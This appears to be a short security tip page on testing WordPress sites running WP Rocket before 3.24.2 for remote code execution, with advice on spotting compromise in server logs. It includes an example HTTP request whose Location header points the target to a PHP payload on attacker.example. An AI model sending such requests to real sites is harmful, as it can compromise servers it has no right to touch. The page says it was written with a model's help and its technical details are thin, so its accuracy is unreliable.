Test WP Rocket for RCE

Remote code execution (RCE)Exploitation

Written with a model's help from “WP Rocket exploits went automated on November 26” by RC on DEV (websecurity). Read the writeup before relying on it.

: Send a request to a WordPress site with WP Rocket before version 3.24.2 and either 'LazyLoad for CSS background images' or 'Host Fonts Locally' enabled, with a Location header or parameter that points to a PHP payload hosted on attacker.example. If the site executes the payload, it is vulnerable to remote code execution. Look for requests to the affected endpoints and outbound connections to suspicious hosts like bare IP addresses or wildcard DNS services in the site's web server logs to confirm an existing compromise.

http
GET /wp-admin/admin-ajax.php HTTP/1.1
Host: target.com
Location: http://attacker.example/payload.php

Follow #php, #rce or #wordpress for new tips like this one, on your notifications page and, if you choose, in a daily or weekly email.

Comments

No comments yet.